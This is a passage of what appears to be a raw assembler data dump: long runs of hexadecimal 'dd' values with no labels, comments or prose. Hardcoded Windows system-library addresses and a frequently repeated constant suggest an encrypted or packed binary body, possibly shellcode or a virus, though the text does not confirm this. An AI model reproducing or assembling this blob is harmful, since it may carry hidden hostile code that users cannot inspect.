0E33629B9h, 0A4D03338h, 0DE049CDAh dd 626A103Bh, 17228084h, 866C666Ch, 9B86B2CCh, 2D60839Ah dd 0C929BA4Fh, 7E13549Dh, 0D7DD93AAh, 90CA0CB8h, 2689F3F4h dd 0CFD48E74h, 0E1282DD8h, 29BA17CCh, 0A955AAD7h, 8DB0C766h dd 29BA1800h, 0CD0C2376h, 0BA1807AAh, 161C6F29h, 9CB2B4h dd 0D1480000h, 0B6D9F04Fh, 2E5AA49Ch, 0CCCACF22h, 0EB172EE8h dd 13B2A3FCh, 1E808664h, 0F50C2DF2h, 34F3DCB6h, 9B92974Fh dd 0EA7EAF0h, 6821D9E4h, 3C91015h, 40CE64A1h, 0FE2C82DFh dd 3EAC2BA4h, 0BEC47E64h, 553Ah, 4CD18400h, 7497D6EDh dd 29BAA13Dh, 81E0E639h, 0BAA1535Eh, 0D3D82B29h, 0A8CBF1D5h dd 29BAA109h, 7D371B75h, 2BD68178h, 0A838E511h, 14F3F21h dd 0D4EB96F9h, 0BA61ACB1h, 0D2D72A29h, 0BAA2228Bh, 0FF548129h dd 546BCE53h, 9C543B15h, 220A5396h, 0F94C29BAh, 452BE5DFh dd 4923868Bh, 6BEA160h, 595F565Bh, 0A8BF795Fh, 71B95F7Ch dd 494FD034h, 0CF55BBE7h, 728934ECh, 0BE765933h, 79BCC2B9h dd 2E5A0685h, 0DC947953h, 5F64B7D6h, 0D9F99518h, 0EA47A821h dd 0D4415694h, 0AE7AA653h, 8F448070h, 2091B4CBh, 5621DA42h dd 3779FD03h, 0C3000000h, 0D9F04FD1h, 5A5F19FFh, 0DBFE5D63h dd 2E5AA017h, 6C240761h, 7F59BCC1h, 624F7296h, 1C21DAA0h dd 0D5181EC9h, 21DA9FD8h, 51AF0465h, 53D4EB15h, 1093Eh dd 452B8800h, 0F7DC9B84h, 98433A3Fh, 63332D94h, 45F084F7h dd 0A6604240h, 3BDA3A1h, 0CF6F9BFEh, 12FAF7B6h, 472D272Dh dd 808FA286h, 8EABBE94h, 372E33DEh, 7657728Ch, 0C029BA2Fh dd 2F535E81h, 0D82B29BAh, 38F2D8D2h, 85A8E71Eh, 29BA2F2Ch dd 2EC2EF12h, 69BC29BAh, 99513892h, 0DBF29D94h, 0BA2EF9B8h dd 2C328529h, 8D924C32h, 354CEB35h, 5A101412h, 0E8FF522Eh dd 502B86A9h, 5321DAh, 0A46C98FAh, 0A94D7087h, 0DF2677CCh dd 0A55D4620h, 3AEA9A0h, 7B29B7B4h, 7C813B21h, 0B8D6DA85h dd 0DE17D2FFh, 71B0C772h, 0F5FAB297h, 0A426F92h, 0E93C29B8h dd 5C3E383Eh, 0D4B688A2h, 0A273411Ah, 0A38CE60Eh, 21E75h dd 42FCE400h, 0B76F5628h, 2EE6CB9Dh, 0A1594214h, 19D3B587h dd 0C01AAFFh, 8456702Ah, 0FACCE6A0h, 73455F17h, 0D9B9D38Dh dd 0CFE6CBEEh, 1E9021D2h, 23492B84h, 0BAA0B100h, 0CF7ACD29h dd 43FDE3B5h, 4FD12F29h, 779AD9F0h, 29BAA13Ah, 5B3FF144h dd 9FA59CA1h, 9FD51D40h, 11EB2E5Ah, 4B6A7028h, 0AA550FF1h dd 18D0B993h, 248DB013h, 5A21DAA0h, 9565C07h, 0DA9FEBC2h dd 9CF15221h, 0D4EB003Eh, 0D92B53h, 0F9380000h, 0DA93DBD6h dd 4A50A321h, 5B87C628h, 0A4C8B196h, 0B100FBA7h, 0CD29BA89h dd 947A747Ah, 3372D5DAh, 0BA89A110h, 848ADD29h, 0E9EEA88Ah dd 0BA8E2BA2h, 10CAB029h, 2B3E24F6h, 595920E5h, 0AAAF5A40h dd 5A71CE52h, 5A50EF37h, 0C7EA292Eh, 21DA8EEAh, 1C3B4194h dd 0EFD8B2C9h, 353B3237h, 0BA79A7D3h, 5D780A3h, 0DC2F2678h dd 4E6386C5h, 2829B7F6h, 9670CFD5h, 0EE0FAB4h, 0D199722Ch dd 0EEE60EB5h, 111D705h, 9F10000h, 7C63354Fh, 0F3D8AAC4h dd 664F213Bh, 0E0C294AEh, 0EB70C26h, 637D3719h, 0D9F3AD91h dd 526C2407h, 0C6E09A80h, 0D9D8FBE6h, 0A521D2CEh, 87C69933h dd 0BAA14D64h, 0D0D62929h, 203AF4D6h, 0FCE3BDE9h, 78ED0F5Bh dd 2429E1C6h, 472D272Dh, 0C679738Dh, 0A14D6487h, 0D62929BAh dd 36F0D6D0h, 934D3331h, 31164279h, 0AC052880h, 0D229B9A8h dd 83CD7B7Fh, 30E0343Ah, 0A7B9DCF3h, 0F52E5C70h, 777D371Bh dd 5F17FE58h, 0B3B8635Ah, 0FB15CFB5h, 0FA1D4329h, 21D370B7h dd 0D4DD00BFh, 0AA21D370h, 0EA01AC57h, 81682710h, 22CDC4C9h dd 7E361F1Dh, 25D78279h, 37848A42h, 6E6E4F0h, 0DF997F18h dd 3FF7DCDAh, 0AC91433Ah, 477CEFF4h, 6180A7EAh, 0A9614822h dd 71B03AEh, 0BAA0F8h, 5BD0D629h, 14CEB406h, 884228FAh dd 0E49C8583h, 67BCE9DFh, 9FE384B0h, 545D43DDh, 0B46E544Eh dd 28E2C89Ah, 0DF523h, 0F4E0000h, 77DC5ECh, 585EB1F8h dd 2B662436h, 86848943h, 0E3E1E6A0h, 45434800h, 0A4A2A761h dd 50308C2h, 66646923h, 0C2C0C57Dh, 222025DDh, 6D7E833Bh dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 57243489h, 0C781E789h dd 4, 8704EF83h, 895C243Ch, 89532434h, 4C381E3h, 83000000h dd 1C8704EBh, 3C895C24h, 0BCBA5224h, 8907E7C6h, 24148BD6h dd 8104C483h, 4ECh, 24248900h, 4240481h, 5F000000h, 3DF468h dd 24348900h, 0FF08478Fh, 835F2434h, 34FF04C4h, 0C4835E24h dd 0AC69E904h, 0AAFBFFF8h, 341AF42Ah, 1328E0C0h, 0B1244735h dd 0D3FCB832h, 0C50307E7h, 101CE0FFh, 0F3FE78C0h, 0EF9C48D6h dd 61EC5DEBh, 0F68B23E7h, 0E11B0AD8h, 12E84787h, 4A000000h dd 80134541h, 0CCD9F6EEh, 0F2989D42h, 0D2A0228Dh, 0CE991h dd 0E0500000h, 0FD744458h, 0D18B1270h, 605FB0DCh, 0F18B5A57h dd 80C78161h, 66000062h, 0B8D2F081h, 6E9C933h, 0F7000000h dd 835F6BBCh, 3934FF69h, 8B57B560h, 8B5B61D6h, 12C381D1h dd 0E9054E89h, 6, 0BF03B48Ah, 0EB814B35h, 110EAE81h, 81F38B66h dd 9EFAE6EBh, 0B70F604Ah, 14E8D6h, 86E10000h, 0A5F8092Dh dd 44B347CAh, 0F2BEB361h, 0D1E09FA3h, 615AA64Bh, 0E8816653h dd 48F726Bh, 0F78B660Fh, 2A30BA66h, 6602E983h, 0A486E681h dd 0AE94949h, 0E8000000h, 8EEFD8h, 93635580h, 80F981D4h dd 0FFFFF9Eh, 1B85h, 88A0F00h, 0F000000h, 28Eh, 0E9D18B00h dd 2Fh, 2F574C66h, 389E0DA1h, 5E960h, 0A6EF0000h, 66DC9F6Fh dd 619054BBh, 0FFFF50E9h, 0C323ACFFh, 2DC519EAh, 65D5B306h dd 64A3F1BCh, 0E987D565h, 0ECh, 0 dd 77E7AC37h, 77E75CEBh, 77E73C49h, 77F7E21Fh, 77F7E300h dd 77E60000h, 2, 5 dup(0) dd 77E7A5FDh, 2Ch dup(0) dd 2, 32118AC5h, 369C6622h, 0B01A3E35h, 32156694h, 0C4CFE624h dd 321577CAh, 605C0A11h, 4009C39Ah, 921B0B3Eh, 96FFB26Ch dd 534D7374h, 34A4DB0Bh, 471561A4h, 0F7A8E52Bh, 32128610h dd 61457FFCh, 23ADA6CFh, 0BB156626h, 0D2359394h, 5088EB8Fh dd 0CD1284F8h, 0B14D3DF1h, 0D214A3ACh, 2561668Fh, 23AD3514h dd 0BB156626h, 0D2359394h, 6388EB8Fh, 0CD1284FDh, 3D4D3DF1h dd 32156792h, 5AEC9A88h, 32156EDCh, 0BB3172ABh, 68C5EFD3h dd 3209EF87h, 0B81A6644h, 32156634h, 321577F8h, 0AEDD6388h dd 6ADF32h, 8874CB86h, 62F97540h, 8F960CB7h, 35F2B388h dd 7E916922h, 3D156611h, 32156B0Bh, 0F3940644h, 4F3EB312h dd 7A0D35A8h, 0B79807F8h, 35F2A36Eh, 0CAC599DBh, 0ECA26971h dd 2D13B009h, 0BF744EF3h, 0D5D03CA7h, 27966916h, 0DB156688h dd 32156654h, 7E9E9993h, 0D814C5Bh, 0DD65B606h, 779B7C32h dd 0F4E0B6DDh, 0D2123F94h, 3CFC308Fh, 20156644h, 98198298h dd 0BA1E7CA4h, 0E1FE9C33h, 8A470E10h, 3FFCFA8Ah, 0E8156611h dd 0CC816D6Eh, 0DB1C9A80h, 0D21BCB09h, 1B38D3EEh, 26FC6168h dd 2A156644h, 6B460390h, 6B7C2F04h, 5D42BDBh, 99768BD2h dd 0BF02041Fh, 0D16A8E94h, 3E9D698Fh, 3D156644h, 321560ADh dd 32976911h, 0CD156688h, 339A6994h, 0CB156622h, 355CE398h dd 0B51A6168h, 32156640h, 5388D542h, 22B8E3D6h, 32156168h dd 3AFC6644h, 96156622h, 5D04FF3Dh, 0CA27F798h, 354CE382h dd 3D5061C2h, 32157797h, 32198F88h, 31466644h, 0FB7BDD2Eh dd 1070BD7Ch, 5B7D2540h, 0C79B142Dh, 1D14D3DDh, 34FC61F1h dd 0ED156688h, 0BB6A7093h, 0CA90EB76h, 0CB128628h, 0BBEDB677h dd 0D22147C1h, 32068F25h, 0B4826611h, 0B9A2A303h, 10CA0040h dd 0DF0D4668h, 0B048A274h, 6B90A023h, 71128643h, 3214E22Dh dd 5AED6611h, 0AE720DD6h, 32156EADh, 6EC7AB22h, 0C0971CC8h dd 33A09997h, 0C712866Bh, 0BEDE3AFh, 0CDEC61F1h, 3EFD0658h dd 0C8156644h, 0B1ACC49Dh, 859E2E32h, 0B98CE189h, 0BB743897h dd 0D5C0D2A7h, 32018F16h, 0FDFA6688h, 24A4A62Fh, 329AEB43h dd 0E5B56B2Ah, 0E43CA279h, 0B7D36903h, 35F5617Bh, 32058F45h dd 0F2366688h, 257B7FDh, 0B51A87C4h, 8D626716h, 1B7D5411h dd 0DBFB042Ch, 32156631h, 77CEEB64h, 9834B9Dh, 2985160Fh dd 0D90F7382h, 0CD994EA2h, 0D23A673Dh, 0B7989E43h, 35F55FDAh dd 0E1940071h, 0CD7416F8h, 0B79C9F94h, 35F2B39Ah, 6B90A0E8h dd 7712868Fh, 3212E24Bh, 0BC1A6622h, 32156610h, 0AD70E71h dd 0BE1ABC24h, 32156623h, 33A099E4h, 0CB1286A7h, 0BEDE3C9h dd 0B37561C2h, 575789F7h, 0E4AA69F2h, 0CEC59925h, 0E7A9E3ABh dd 0B31A61F6h, 32156689h, 38FC06BCh, 0FE156622h, 0C00D59DFh dd 78451785h, 55AD00B2h, 8F960700h, 35F570A0h, 5E906988h dd 0DB156645h, 32156629h, 75AFA1DCh, 2098042Bh, 0F4514682h dd 0D2123FA7h, 5AEC2316h, 0C835180Eh, 0E5949F24h, 7236951Ah dd 33A09970h, 521286A7h, 3210E14Bh, 0B3736622h, 0CEB4E7C1h dd 0CA90EBE9h, 3D12867Dh, 321574ACh, 32188F11h, 81E36688h dd 0BC7A4981h, 0B70EB5A2h, 3D960AAFh, 32156E05h, 30956944h dd 52156622h, 52C59970h, 32156C61h, 2A05E644h, 0FF6D759Fh dd 0B3AF0D28h, 11D55A56h, 0B79C077Bh, 35F2B3E2h, 321560F8h dd 1A89E88h, 0CBAA81A0h, 354CE3E4h, 0CB5961F1h, 32157261h dd 0E735DB44h, 0FD301F76h, 35D7F650h, 0D6FC6E9Ah, 25CF2D31h dd 0E2D60ED7h, 0B91A8637h, 32156686h, 32156FADh, 0D563F422h dd 832B980h, 87EAB2E1h, 35F54945h, 321561CBh, 14703111h dd 0F3F9543Fh, 0BEDE3C9h, 0B01A61C2h, 32156610h, 3CFC0674h dd 156644h, 87D9BCDCh, 0D541CDBDh, 673ED7A7h, 32078FD8h dd 0B9046622h, 4585DADFh, 76AAAA0Ch, 43DAB379h, 4E6834C0h dd 0DBC59970h, 3215668Eh, 1B99BBCh, 0B79C9B67h, 35F2B3D5h dd 32157761h, 22776A44h, 51A2CBA8h, 5194BFA4h, 1EEE3597h dd 0DBE9CE62h, 3215672Bh, 349B6971h, 0B3156688h, 1A437C85h dd 32018F27h, 0F5686611h, 30097362h, 311A5B22h, 1FD5F14Ah dd 4544F0C2h, 0F4748C07h, 0D2123FC1h, 54753425h, 0D09FA59Ah dd 3F7D9EE9h, 3DA92CA0h, 321567A1h, 87EA9A11h, 35F57E95h dd 42D4E624h, 32156ACBh, 0C2A2A211h, 2333F196h, 9BCA559Ah dd 0B798079Ah, 35F55FE9h, 3DC59970h, 321567C7h, 0DB759322h dd 3215661Ah, 1F90CE88h, 5F88EF82h, 3D81BE05h, 32156695h dd 0B79C0788h, 35F2B384h, 6AAB0042h, 32138F12h, 9CC86688h dd 478CBED6h, 6B90A043h, 60128616h, 32156361h, 6FD90444h dd 7A7DDC78h, 3DB32A5Bh, 32156108h, 33926944h, 0C7156622h dd 2A08D3EEh, 0BC1A6168h, 3215664Fh, 321560CBh, 0DBD15711h dd 0BF48F810h, 0D22C9EC1h, 0E2EA9A25h, 26986971h, 0DA156688h dd 3215664Ah, 0D32B67BEh, 0E081F966h, 30A59AF5h, 0B34D2F76h dd 0BC6087F0h, 0B79C0702h, 35F2B34Ch, 6B90A0B1h, 60128625h dd 321577F8h, 28F6D88h, 4DA5A9EAh, 750DFC81h, 0C6C026C0h dd 0D87DC8B7h, 52E824F0h, 53E00E95h, 32156CF8h, 2625E688h dd 3BD3CB77h, 0CDC07D61h, 0D23A67A4h, 0B7989A8Fh, 35F55FBCh dd 0B9739E42h, 0E2EA07D2h, 32156A61h, 0EF5F1744h, 0BE5AE2Bh dd 2B027861h, 1F90EFE0h, 0CE12865Ch, 354CE3E4h, 3D6261F1h dd 32156C06h, 32108F44h, 90846622h, 5A17961Ah, 0C182CE2Bh dd 3200E94Bh, 22FC6622h, 0D8156611h, 1A577FE9h, 39313721h dd 65F9800h, 0CD7D8CA1h, 0D225E33Dh, 3AFC9A43h, 27156622h dd 1D5BB1Ah, 0BFC16811h, 0D22C9EC1h, 0E8940625h, 611224D2h dd 53D7EDEEh, 8575B6BBh, 309769CBh, 60156611h, 0B79C07D1h dd 35F548CDh, 32156ECBh, 8A7A2F11h, 0D1092248h, 6B90A0FAh dd 60128625h, 3212E21Eh, 0BC1A6688h, 32156645h, 321B8FD7h dd 7C5E6611h, 0F108C005h, 61EDD1F8h, 0A4848AC0h, 0EF247179h dd 321A8F02h, 93BB6644h, 3CE2A5FCh, 93AC163Bh, 0FB374A7Fh dd 33A0990Dh, 0CB12860Dh, 0BEDE39Ch, 52756168h, 54743817h dd 0CD7494A9h, 2A9569C1h, 3D156688h, 321574C2h, 32188F22h dd 0A59E6611h, 301E2285h, 0C9E9A88Fh, 0BB489325h, 0D214EB94h dd 32078F8Fh, 72116644h, 0DB040DECh, 7FE1F592h, 0EC7D22C4h dd 681E3A80h, 321DED2Dh, 0BB1A6611h, 3215668Ah, 0B7D30724h dd 35F5617Bh, 0B7D9347h, 0CAC179E5h, 1B38D3BBh, 0B37561C2h dd 0CE3029E7h, 209769E9h, 0DA156644h, 3215662Eh, 0F123E8DCh dd 320C9947h, 5A709F21h, 0B798077Bh, 35F619F9h, 3214E387h dd 0CDE06644h, 0B79C9FF2h, 35F57E48h, 32156861h, 0F29A2B44h dd 186EB957h, 44D14ECAh, 0F42E2899h, 0D2123FC1h, 3D752125h dd 0B373B0A6h, 53950469h, 0EE051C2Ch, 8A7306A3h, 0E0958A20h dd 87EA071Eh, 35F54945h, 320EEB2Dh, 0B71A6611h, 3215669Dh dd 321576ADh, 0D36222h, 7DCE054h, 0C90FD3Dh, 6D72CD59h dd 2791694Dh, 52156611h, 32156861h, 44CCD644h, 455D69FEh dd 38DC43Dh, 5317E265h, 0BEDE3C9h, 547561C2h, 0DB7292A8h dd 32156684h, 0BAD29DF8h, 0F6376FF5h, 0E004B431h, 0DBC599E9h dd 3215664Dh, 1D393429h, 0A605CAFDh, 0D390EFA5h, 0DB12865Eh dd 3215662Bh, 0B71FB720h, 8610567Fh, 6B90A030h, 75128625h dd 0B2C3ED71h dd 5A742C53h, 0B81AD3A6h, 3219EA2Dh, 0BF1A6611h, 3215668Eh dd 3215EE4Bh, 87EA6622h, 35F54910h, 0A02ED8E8h, 53ED38FEh dd 0BEDE3AFh, 3DE061F1h, 32157401h, 37FD0644h, 22156622h dd 0E4B56099h, 0F19400D7h, 0CD74F8F7h, 229569F2h, 0DB156611h dd 32156683h, 3B26D617h, 69A54D94h, 0BBE6CD78h, 0D5C0820Dh dd 3F946943h, 0DB156622h, 32156619h, 9F89131Fh, 76A418EDh dd 3214E22Dh, 0F5E96611h, 0D2031B0Dh, 32151E43h, 8F969A22h dd 35F54478h, 77916988h, 3D15665Eh, 321576A3h, 38986911h dd 0DB156688h, 32156641h, 9132A8E6h, 6B90A093h, 7E12868Fh dd 5818DF24h, 8D1A6EEAh, 0DB7D07D7h, 3DCCBC94h, 321576C6h dd 35FC0622h, 1156611h, 4524E4BBh, 5375F1ABh, 321B8F43h dd 614C6611h, 0A422A7C5h, 0FBE05A9h, 0EF587140h, 1D14D3EEh dd 3DFC6168h, 25156644h, 0DFA2F1C7h, 0B1A04BEBh, 518AFAF7h dd 0B51AB119h, 32156606h, 321D8F71h, 252A6688h, 8A919544h dd 3DFD241Dh, 17156611h, 0B16F763Ah, 237F1EDEh, 72A793F8h dd 534B62BDh, 0BEDE305h, 547561A4h, 0D9E7A0A3h, 53C5ED77h dd 37FCB677h, 2D156644h, 0F69E9134h, 0E7C5E398h, 0F4E0616Fh dd 0D2123FC1h, 54752A25h, 0AD738C90h, 321FE787h, 37FC6644h dd 0AC156622h, 91AD8E04h, 21FC06E9h, 0E4156644h, 9D860ACCh dd 66A7C72Bh, 0EA305E24h, 6A04FEC6h, 5446583Dh, 0DF03AC90h dd 0FC7D07D3h, 52C8129Ah, 0B6D9DC44h, 0CD74B89Ah, 0D23A673Dh dd 0B7989A43h, 35F55FDAh, 32128F71h, 98F56688h, 0B0D24305h dd 0CD7493DFh, 0B79C9EC1h, 35F2B35Ch, 32156BADh, 513AEF22h dd 0AA2A28FCh, 2591C6ACh, 0B7D351ABh, 35F5617Bh, 321A8F5Dh dd 0CB536688h, 3F0F5984h, 0B8128CABh, 41F1599Bh, 0B02A0ED2h dd 0B275D1C5h, 851AACFDh, 87EA07CEh, 35F54989h, 3FC7E724h dd 896222A1h, 1CEF0EF5h, 0CA90EBE9h, 5212867Dh, 13CBE744h dd 32188F9Fh, 844B6688h, 0B29D6CE6h, 4500E12Fh, 530B8BE2h dd 0BC1AB677h, 32156663h, 32128E42h, 78586611h, 4FC60429h dd 21FC3EF7h, 7E156622h, 5857758Eh, 0BCB8CDBBh, 0FFDCE892h dd 0D102BEA2h, 0DB74269Ah, 32156686h, 4D01EA40h, 0DD81FC05h dd 2B83AD5Bh, 0B79C2C91h, 35F2B39Ch, 321CEE2Dh, 0B8756611h dd 0E594007Ch, 0F4746E80h, 0D2123FA7h, 0DA752A16h, 32156698h dd 0F6976A78h, 58070FA2h, 88DE1872h, 788F038Bh, 4F048FC5h dd 534E1C2Fh, 1D557E79h, 5444063Bh, 0B0BBDC5h, 32048F7Ch dd 3DA86611h, 0BA703F0Bh, 71113081h, 0C867FA86h, 53CE074Dh dd 32156161h, 0F5C16744h, 3B5BE9B9h, 1D14D3EEh, 0DA756168h dd 3215664Fh, 0E0057C7Ah, 0ED633CB0h, 0B39E8DFAh, 1E152DA6h dd 0B3733D67h, 536F40CAh, 0BEDE305h, 0CDE061A4h, 38FD06F2h dd 39156611h, 6A45E9D5h, 0E9A2F3D0h, 6A740645h, 0B79C07E4h dd 35F2B350h, 32156AADh, 503A6422h, 0B511ECB0h, 7C9CAFEAh dd 6B90A067h, 74128625h, 34010EE9h, 3CFCDC56h, 53156644h dd 664BB03Ch, 0E6206879h, 38368363h, 33A099CBh, 5212860Dh dd 9A8DF2AEh, 71FAE796h, 531B58EAh, 0BEDE3AFh, 0CDE961F1h dd 0B41A0658h, 32156646h, 81AA9692h, 534EEF88h, 0E7F5E301h dd 0BE1A61A3h, 32156623h, 6B90A0E8h, 7512868Fh, 3214E34Bh dd 5AED6622h, 0B3C9766Bh, 3D65D0E8h, 0CD74BFFBh, 0D23A6797h dd 0B7989F16h, 35F55F70h, 321568ADh, 5F25C922h, 0B55B838Dh dd 34994854h, 0CDCC8EF8h, 321A8FF2h, 0A63E6611h, 96773E56h dd 0BAF42F59h, 0D4A4D683h, 32018F01h, 7C286688h, 37BCC40Bh dd 0B7D357C1h, 0CBD127AAh, 882C1CEEh, 0B79CF53Dh, 35F2B3CAh dd 32078F71h, 36F46688h, 0CFB6FE90h, 0FAA980B7h, 0BFC06D3Ch dd 0C16DEF33h, 321F8E24h, 5DB56622h, 0AE2EA7F8h, 957B57F3h dd 329D691Fh, 53156622h, 6B90A070h, 7512868Fh, 320DEA4Bh dd 3D756622h, 3CFC9DAEh, 73156688h, 69CE3D8Eh, 307E87C8h dd 0E8E4D37Ah, 9E7D075Dh, 0DBFAE1CAh, 3215662Dh, 80D07AB7h dd 8A652578h, 770D6E5Fh, 0CDF149D6h, 0D23A67A4h, 0B7989E8Fh dd 35F55FBCh, 36936942h, 54156611h, 54C46630h, 534450FDh dd 0B81AB6DDh, 32156616h, 0C4AA69E8h, 0BB749ECFh, 0D5C08AA7h dd 3F946916h, 0DB156688h, 3215664Ch, 442B5A9Fh, 0C834B2CAh dd 354CE34Eh, 525261A4h, 5A743D73h, 0E68FC1C3h, 32157261h dd 0F06CCD44h, 0E2251A34h, 0F8BB6333h, 3EBF2B9Ah, 0CE2F2674h dd 33A09905h, 0CB12863Eh, 0BEDE305h, 0CDEC61A4h, 321B8FF2h dd 69FC6611h, 0E28F4D38h, 0A79EB28h, 8B170747h, 0E7E5E398h dd 0B41A616Fh, 32156648h, 0FBAD0042h, 329869B7h, 53156688h dd 6B90A0BCh, 75128625h, 321576F8h, 0F5FA0188h, 0DC658FC8h dd 6DCD9E84h, 0D88F6387h, 0B110E02h, 39FCDC85h, 13156622h dd 0BE3AAA85h, 0ABC3959h, 87EAC77Ch, 35F54923h, 321DE21Eh dd 0B81A6688h, 32156646h, 0B7980742h, 35F55FE9h, 0DBC59974h dd 32156642h, 37770DA3h, 0B79C87FFh, 35F2B37Ch, 3211E44Bh dd 61756622h, 8F96074Fh, 35F566D9h, 89906944h, 0CE156622h dd 354CE3D7h, 52526168h, 32156CADh, 0D695522h, 1AA9A0F7h dd 0DB33AEA7h, 3215664Ah, 0E950DF2Eh, 2DA1800Ch, 77762172h dd 5A749EE9h, 0D2674B45h, 321569F8h, 0E608B788h, 0ABBC5F7h dd 55E6D765h, 8F76F86h, 32157561h, 219E6244h, 0EA03AACh dd 6D2C7F67h, 0C9D9E6C9h, 28B197F3h, 1D14D3DDh, 0BC1A61F1h dd 32156691h, 3206E54Bh, 3CFC6622h, 0BA156611h, 73F9D4A1h dd 0B6874453h, 74DB135Bh, 0B7989E34h, 35F55F70h, 3DC599BCh dd 321569A9h, 321F8F11h, 1516688h, 32EBDE99h, 94E22DB2h dd 0E7EDE398h, 3DFC616Fh, 8A156644h, 8D6C3817h, 102F80FAh dd 99E653DFh, 0B7D300A9h, 35F5617Bh, 837D9A56h, 3D9B4F3Bh dd 321567C1h, 87EA9A22h, 35F54910h, 3202E687h, 52756644h dd 321B8F43h, 46236611h, 0D65A463Fh, 89E42207h, 2F36603Fh dd 0B7989A70h, 35F55F70h, 2EB5D924h, 3AFC09BAh, 0D5156611h dd 0FAFB9C1Ch, 537B06FBh, 5275B6DDh, 0DCD7E777h, 0DA749340h dd 3215664Ah, 823851DCh, 0C167511Ch, 4249BDF6h, 0B01A265Fh dd 32156622h, 0B79C074Fh, 35F2B374h, 32138F24h, 0E7FB6622h dd 0C58DEEE3h, 53D6D187h, 354CE382h, 3D5661C2h, 32156E9Fh dd 8D1A0688h, 0F99E008Fh, 78B20E43h, 0DA75A667h, 32156685h dd 0D09466Ah, 5F2264h, 1F8A6090h, 32198FC0h, 76E46644h dd 59CDC2DDh, 8589713Ah, 524C73D0h, 0F8AB00BDh, 0CD740797h dd 0D23A67A4h, 32048F8Fh, 2DDB6644h, 610CE636h, 307DCE1Ch dd 76FF9232h, 0BFCF403Ah, 0D22C9EA7h, 0CDED9E16h, 0B79C9E58h dd 35F2B044h, 3202EA2Dh, 0DB756611h, 32156685h, 0FA11C3CEh dd 6E2B84C7h, 0D0380F94h, 0F99E00FEh, 6B90A025h, 7E128625h dd 2A986971h, 0DA156688h, 32156656h, 1194FF9Eh, 0EB96E997h dd 7FF2F4DFh, 27369869h, 0CB4D43B9h, 5EFE0E70h, 0BA1A9DEEh dd 32156648h, 321561CBh, 7E209011h, 0E0CDB3C4h, 290D3BBh dd 0B61A61C2h, 3215661Ah, 0FD9E00E8h, 3215EB4Bh, 0BF746622h dd 0D22C9E94h, 3598698Fh, 52156644h, 0F6957D95h, 0E2EA0746h dd 32156F61h, 0EA05A644h, 0E4D16E25h, 38FC69A5h, 8E156688h dd 0D3377255h, 0B9B65891h, 0A690EF91h, 5212815Eh, 37FCA9CFh dd 0BD156622h, 5897A4FCh dd 6B90A0E9h, 76128643h, 677D9ADEh, 0DBAE159Fh, 32156698h dd 0CE058E9h, 820070AFh, 5A390394h, 0F1B12E1Eh, 1D14D3BBh dd 0BFEC61C2h, 0D22C9E94h, 0B01A068Fh, 32156640h, 0AFD9DE44h dd 321560F9h, 0D827DB88h, 54155316h, 0FF37B8A3h, 0E2EA074Ah dd 0EA9E06E8h, 30AB90FBh, 0BB740750h, 0D5C36294h, 32018F8Fh dd 0A6A6644h, 7A483C1Ch, 0BB2656A4h, 0B9492208h, 0D993916Fh dd 0B275B7FDh, 0B37355D9h, 5370FB5Ah, 354CE382h, 0DB5661C2h dd 3215661Bh, 48840E25h, 84CC164Eh, 0CE7D07D9h, 0CAA9E87Fh dd 1D14D377h, 0C77561A4h, 0CA90EB43h, 52128628h, 0FBD6DCEEh dd 321574ADh, 0AF70FA22h, 356FAA40h, 981F9212h, 0FDEFB1E7h dd 53AAA86Eh, 0B01AB6EEh, 32156687h, 32156CADh, 0E22F3A22h dd 0C4E4FF5Dh, 0BBD9DAC2h, 0D5C36EC1h, 321F8F25h, 855B6611h dd 51821742h, 0AA1BF391h, 354CE3E4h, 524661F1h, 3217E887h dd 61A66644h, 0DB740D93h, 32156600h, 89360299h, 0B00757F3h dd 65D547B8h, 448A2F52h, 0CBF0EC2h, 0CDE9A054h, 0D23A6797h dd 1976916h, 52156688h, 321574ACh, 0FB2A6322h, 9F334D9Dh dd 0FBBE8993h, 0F63EE24h, 6D78EB3Dh, 321572F8h, 0F5D3388h dd 12317E75h, 47BBD050h, 66E7AF4Ch, 972AB7E4h, 0B7980723h dd 35F55FDAh, 321EE81Eh, 54756688h, 545CB6FDh, 496BA4A3h dd 52C59970h, 4B8EDDEEh, 0B846DF22h, 3E90EF43h, 3D1281C7h dd 3215670Dh, 8F969344h, 35F56277h, 81916911h, 0DB15668Bh dd 3215664Dh, 1E7C85Fh, 27E936A2h, 0BFAB0616h, 8D147FA4h dd 52D8883Ah, 6B90A070h, 7412868Fh, 321DEF4Bh, 3D756622h dd 3215669Bh, 37D0788h, 0C7EFF08Ah, 3214E42Dh, 0CDE06611h dd 0D23A673Dh, 3E9D6943h, 3D156622h, 3215609Bh, 32976988h dd 0C7156644h, 0BEDE3AFh, 26FC61F1h, 50156688h, 0F9DEB395h dd 0B4C26993h, 0AE2B44DAh, 0E86AB7A4h, 0CD109BD7h, 32108FF2h dd 4FFD6611h, 0BB7DBF82h, 0D5C30EC1h, 0B7D39A25h, 35F56148h dd 0B37306CEh, 0DBC651A5h, 32156624h, 0CEEF7408h, 5A74B0EFh dd 0CEB25C92h, 33A099D7h, 3D12863Eh, 32156C01h, 0BF1A0644h dd 32156622h, 3D740771h, 32156704h, 0B7989344h, 35F55FDAh dd 32156AF8h, 0E6D92D88h, 0AA109AA4h, 1516BAE8h, 3DC5998Fh dd 32156A06h, 34906944h, 3D156622h, 3215669Eh, 4A90EF88h dd 52128192h, 32156CCBh, 5A657511h, 193FCDF2h, 54BF1570h dd 870485A3h, 32188F70h, 745D6688h, 7E55744Bh, 4B5256CBh dd 0F4FD9C77h, 0D2123F0Dh, 5AE92043h, 0A0E9C222h, 3218EF1Eh dd 3AFC6688h, 0C7156644h, 26FA9863h, 0CD7BE0C1h, 0D23A673Dh dd 0B91A0643h, 32156620h, 0BDA28C9Bh, 339669E9h, 0CE156644h dd 0BEDE3AFh, 34FC61F1h, 0CB156688h, 9D07AA4Dh, 3DC59981h dd 3215619Ah, 0B3730688h, 536559ABh, 0E469E3ABh, 0B81A61F6h dd 32156684h, 3213E44Bh, 0BA1A6622h, 32156611h, 354CE34Eh dd 525361A4h, 3200EC2Dh, 3DFD6611h, 40156688h, 63B32F4Ch dd 72D1A4C5h, 5844F59Fh, 3D4DEC28h, 32157ECFh, 32068F22h dd 0E2846611h, 0C347C815h, 7C0BEFBDh, 53A36988h, 0ABF9CC3Ch dd 587D07D9h, 52E3B20Bh, 8A2BDA3h, 851A1028h, 87EA0748h dd 35F54945h, 3200E32Dh, 22FC6611h, 6E156688h, 4257F7C4h dd 1071EC23h, 610473C0h, 0BFFFBBCDh, 0D22C9EC1h, 33976925h dd 0CE156611h, 8975B677h, 